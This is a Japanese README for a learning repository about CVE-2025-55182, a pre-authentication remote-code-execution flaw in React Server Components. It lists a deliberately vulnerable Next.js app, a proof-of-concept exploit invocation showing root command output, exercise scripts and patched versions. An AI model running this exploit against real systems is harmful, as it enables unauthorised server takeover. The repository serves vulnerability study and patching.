
React Server Components の Remote Code Execution (RCE) 脆弱性を学習するためのリポジトリです。
教育目的のみで使用してください。許可なく他者のシステムに対して使用することは違法です。
| 項目 | 内容 |
|---|---|
| CVE ID | CVE-2025-55182 |
| タイプ | Pre-authentication Remote Code Execution (RCE) |
| CWE | CWE-502: Deserialization of Untrusted Data |
| CVSS | 10.0 (Critical) |
| 影響 | React 19.0.0 - 19.2.2 |
.
├── docs/ # 📚 学習ドキュメント(Step 1-4)
├── exercises/ # 🧪 演習スクリプト
├── exploit/ # 💀 PoC スクリプト
└── vulnerable-app/ # 🎯 脆弱なNext.jsアプリ
cd vulnerable-app
docker compose up --build -d
cd exploit
pip install -r requirements.txt
python3 poc.py http://localhost:3000 "id"
uid=0(root) gid=0(root) groups=0(root)...
🎉 RCE 成功!
段階的に脆弱性を理解するためのドキュメントがあります:
# Step 1: Prototype Pollution を体験
node exercises/01_prototype_pollution.js
# Step 2: Constructor Chain を理解
node exercises/02_constructor_chain.js
# Step 3: 参照解決のシミュレーション
node exercises/03_reference_resolution.js
# Step 4: ペイロードの完全分析
node exercises/04_full_exploit_analysis.js
# React を最新版にアップデート
npm install react@latest react-dom@latest
修正済みバージョン: 19.0.3+, 19.1.4+, 19.2.3+
| Step | トピック | ファイル |
|---|
| 1 | Prototype Pollution の基礎 | docs/01_prototype_pollution_basics.md |
| 2 | Constructor Chain と RCE | docs/02_constructor_chain.md |
| 3 | React Flight プロトコル | docs/03_react_flight_protocol.md |
| 4 | 脆弱性の全体像と修正 | docs/04_vulnerability_summary.md |